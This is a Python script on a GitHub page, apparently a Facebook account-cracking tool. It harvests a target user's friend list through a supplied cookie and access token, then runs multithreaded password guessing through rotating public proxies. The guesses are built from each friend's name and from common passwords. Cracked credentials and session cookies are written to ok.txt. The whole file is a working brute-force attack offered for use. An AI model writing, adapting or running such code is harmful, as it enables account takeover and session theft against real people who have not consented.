-
Notifications
You must be signed in to change notification settings - Fork 0
/
Bishesh.py
297 lines (279 loc) · 13.6 KB
/
Bishesh.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
import requests, re, os, random, sys, time, datetime
from concurrent.futures import ThreadPoolExecutor as YayanGanteng
from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
from rich import print as prints
from datetime import datetime
from rich.tree import Tree
hijau = '[#00FF33]'
merah = '[#FF0022]'
H = '\x1b[1;92m' # HIJAU
N = '\x1b[0m' # WARNA MATI
M = '\x1b[1;91m' # MERAH
ct = datetime.now()
n = ct.month
bulan = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
try:
if n < 0 or n > 12:
exit()
nTemp = n - 1
except ValueError:
exit()
current = datetime.now()
ha = current.day
op = bulan[nTemp]
ta = current.year
class Brute:
def __init__(self):
self.ugen, self.iid2 = [], []
self.ok, self.cp, self.loop = [], [], 0
self.ses, self.id=requests.Session(), []
self.dump_id()
def ua_set(self):
for xd in range(1000):
xx=[]
rr= random.randint
rc= random.choice
A = f'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0'
uaku=f'{A}'
xx.append(uaku)
self.ugen = random.choice(xx)
return self.ugen
def ngorox(self):
try:
xx = self.ses.get("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all").text
open("prox.txt", "w").write(xx)
except Exception as e:
exit(e)
def logo(self):
if "linux" in sys.platform.lower():
try:os.system("clear")
except:pass
elif "win" in sys.platform.lower():
try:os.system("cls")
except:pass
else:
try:os.system("clear")
except:pass
print("""
_ _ \ \\
.-------. / \_> /\ |/
/ \.'` `',.--//
-( I I @@\\
\ /'.____.'\___| ╔╦╗╔╗ â•”â•â•—
'-.....-' __/ | \ (`) â•‘â•‘â•‘â• â•©â•—â• â•£
/ / / â•© â•©â•šâ•â•â•š
\ \ CODE BY BISHESH DRAWS
--------------------------------------------------------""")
def kentod(self, integer):
lis = list("1234567890")
gets = [random.choice(lis) for _ in range(integer)]
return "".join(gets).upper()
def ngoxok(self, cooz):
coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
return(str(coki))
def metode(self, user, pasw, cebok):
prog.update(des,description=f"{str(self.loop)}/{len(self.id)} OK-:[bold green]{len(self.ok)}[/] CP-:[bold yellow]{len(self.cp)}[/]")
prog.advance(des)
pros=open("prox.txt" ,"r").read().splitlines()
for pw in pasw:
try:
uas=self.ua_set()
ses=requests.Session()
nip=random.choice(pros)
proxs= {'http': 'socks5://'+nip}
head = {
"Host": cebok,
"cache-control": "max-age=0",
"upgrade-insecure-requests": "1",
"user-agent": uas,
"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"x-requested-with": "com.ucimini.internetbrowser",
"sec-fetch-site": "none",
"sec-fetch-mode": "navigate",
"sec-fetch-user": "?1",
"sec-fetch-dest": "document",
"accept-encoding": "gzip, deflate",
"accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
}
link = ses.get("https://m.facebook.com/login?source=auth_switcher", headers=head)
date = {
"lsd": re.search('name="lsd" value="(.*?)"', str(link.text)).group(1),
"jazoest" :re.search('name="jazoest" value="(.*?)"', str(link.text)).group(1),
"email": user,
"pass": pw,
"next": "https://m.facebook.com/login/save-device/?login_source=login#_=_"
}
heaa= {
"Host": cebok,
"x-fb-lsd" :re.search('name="lsd" value="(.*?)"', str(link.text)).group(1),
"user-agent": uas,
"content-type": "application/x-www-form-urlencoded",
"accept": "/",
"origin": "https://"+cebok,
"x-requested-with": "com.ucimini.internetbrowser",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "cors",
"sec-fetch-dest": "empty",
"referer": "https://"+cebok+"/login?source=auth_switcher",
"accept-encoding": "gzip, deflate",
"accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
}
po = ses.post("https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100", data=date, headers=heaa, allow_redirects=False, proxies=proxs)
if "c_user" in ses.cookies.get_dict():
digi = random.choice([2])
digi = self.kentod(digi)
coki = self.ngoxok(ses.cookies.get_dict())
tree = Tree(" ")
tree.add(f"RESULTS OK {ha} {op} {ta}").add(f"[bold green]{user}|{pw}")
tree.add(f"[bold green]{coki}ua={digi}").add(f"[bold blue]{uas}[/]")
prints(tree)
wrt = " [✓] "+user+"|"+pw+"|"+coki
self.ok.append(wrt)
with open(f"ok.txt", "a", encoding="utf-8") as r:
r.write(wrt+"\n")
break
elif "checkpoint" in ses.cookies.get_dict():
tree = Tree(" ")
tree.add(f"RESULTS CP {ha} {op} {ta}").add(f"[bold yellow]{user}|{pw}")
tree.add(f"[bold red]{uas}[/]")
prints(tree)
wrt = " [×] "+user+"|"+pw
self.cp.append(wrt)
with open("cp.txt", "a", encoding="utf-8") as w:
w.write(wrt+"\n")
break
else:
continue
except requests.exceptions.ConnectionError:
time.sleep(31)
self.loop += 1
def login_cokie(self,cok):
try:
data = self.ses.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.86 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cok})
find_token = re.search("(EAAG\w+)", data.text)
get = self.ses.get('https://graph.facebook.com/me?fields=name,id&access_token=%s'%(find_token.group(1)),cookies={"cookie": cok}).json()
nama = get["name"]
open('.token.txt', 'a').write(find_token.group(1))
open('.cokie.txt', 'a').write(cok)
prints()
prints(f"""[[green]✓[/]] selamat [green]{nama}[/] cookie kamu valid!
[[bold red]>[/]] gunakan dengan bijak yah tools nya!""");time.sleep(0.3)
exit(f"\n[{M}!{N}] jalankan ulang perintah nya dengan ketik python a.py")
except requests.exceptions.ConnectionError:
prints("😠Tidak ada koneksi internet");exit()
except (KeyError,AttributeError):
prints("😔 Cookie kamu invalid");exit()
def convert(self, uid):
if "me" in uid:
return {"uid":uid}
elif(re.findall("\w+",uid)):
p = self.ses.get(f"https://mbasic.facebook.com/{uid}?_rdr").text
try:
user = re.findall('\;rid\=(\d+)\&',str(p))[0]
except:
user = uid
return {"uid":user}
def dump_id(self):
self.logo()
try:
cook = {"cookie": open(".cokie.txt", "r").read()};took = open(".token.txt", "r").read()
except FileNotFoundError:
self.cookie()
try:
ishx = self.ses.get('https://graph.facebook.com/me?fields=name,id&access_token=%s'%(took),cookies=cook).json()
nama = ishx["name"]
idfb = ishx["id"]
except requests.exceptions.ConnectionError:
exit("😔 Tidak ada koneksi")
except KeyError:
try:os.remove(".cokie.txt");os.remove(".token.txt")
except:pass
prints("😢 opshh akun tumbal mu terkena checkpoint, silahkan login dengan akun lain.");time.sleep(3);self.cookie()
print(f"""
nama : {nama}
id fb : {idfb}
--------------------------------------------------------""")
try:
print("[*] Ketik 'me' jika ingin crack dari daftar teman anda.")
try:user = input("[*] masukan id atau username : "); uid = self.convert(user)
except AttributeError:exit("[!] username atau id tidak benar")
print("--------------------------------------------------------")
tol = self.ses.get(f"https://graph.facebook.com/{uid.get('uid')}?fields=friends.fields(id,name).limit(5000)&access_token={took}",cookies=cook).json()
for x in tol["friends"]["data"]:
self.id.append(x["id"]+"<=>"+x["name"])
wr = random.choice(['\x1b[1;91m', '\x1b[1;92m', '\x1b[1;93m', '\x1b[1;94m', '\x1b[1;95m', '\x1b[1;96m', '\x1b[1;97m', '\x1b[0m'])
sys.stdout.write(f"\r[*] Sedang mengumpulkan id: {wr}{len(self.id)}{N} -> {wr}"+x["id"]+N),
sys.stdout.flush()
time.sleep(0.0050)
except KeyError:
exit(f"{N}[{M}×{N}] gagal mengambil id, kemungkinan id tidaklah publik")
print(f"\n[*] Total id: {len(self.id)}")
self.ngorox()
self.pilihan(self.id)
def pilihan(self, xx):
for ih in xx:
self.iid2.insert(0, ih)
self.password()
# ...
def password(self):
print(f""" --------------------------------------------------------
PROCESSING CRACK !!! USE
AIRPLANE MODE TO BOOST THE RATE
--------------------------------------------------------""")
global prog, des
prog = Progress(SpinnerColumn('clock'), TextColumn('{task.description}'), BarColumn(), TextColumn('{task.percentage:.0f}%'), TimeElapsedColumn())
des = prog.add_task('', total=len(self.iid2))
with prog:
with YayanGanteng(max_workers=30) as bool:
for user in self.iid2:
idf, nmf = user.split('<=>')[0], user.split('<=>')[1].lower()
frs = nmf.split(' ')[0]
pwv = []
if len(nmf) < 6:
if len(frs) < 3:
pass
else:
pwv.append(nmf)
pwv.append('temanggung')
pwv.append('temanggung123')
pwv.append(frs + '1234')
# Add variations with uppercase letters
pwv.append(nmf.capitalize())
pwv.append('Temanggung')
pwv.append('Temanggung123')
pwv.append(frs.capitalize() + '1234')
# Add common passwords
pwv.append('password')
pwv.append('nepal123')
pwv.append('12345678')
pwv.append('123456789')
else:
if len(frs) < 3:
pwv.append(nmf)
else:
pwv.append(nmf)
pwv.append('temanggung')
pwv.append('temanggung123')
pwv.append('temanggung12345')
pwv.append(frs + '1234')
# Add variations with uppercase letters
pwv.append(nmf.capitalize())
pwv.append('Temanggung')
pwv.append('Temanggung123')
pwv.append('Temanggung12345')
pwv.append(frs.capitalize() + '1234')
# Add common passwords
pwv.append('password')
pwv.append('nepal123')
pwv.append('12345678')
pwv.append('123456789')
# Add more variations as needed
#ua asli : Mozilla/5.0 (Linux; Android 5; en-au; SAMSUNG SM-N915G Build/KTU84P) AppleWebKit/537.36 (KTHML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36
#ua random: {uas}""")
bool.submit(self.metode, idf, pwv, "free.facebook.com")
exit()
def cookie(self):
self.logo()
ahh = input("[?] cookie : ")
self.login_cokie(ahh)
Brute()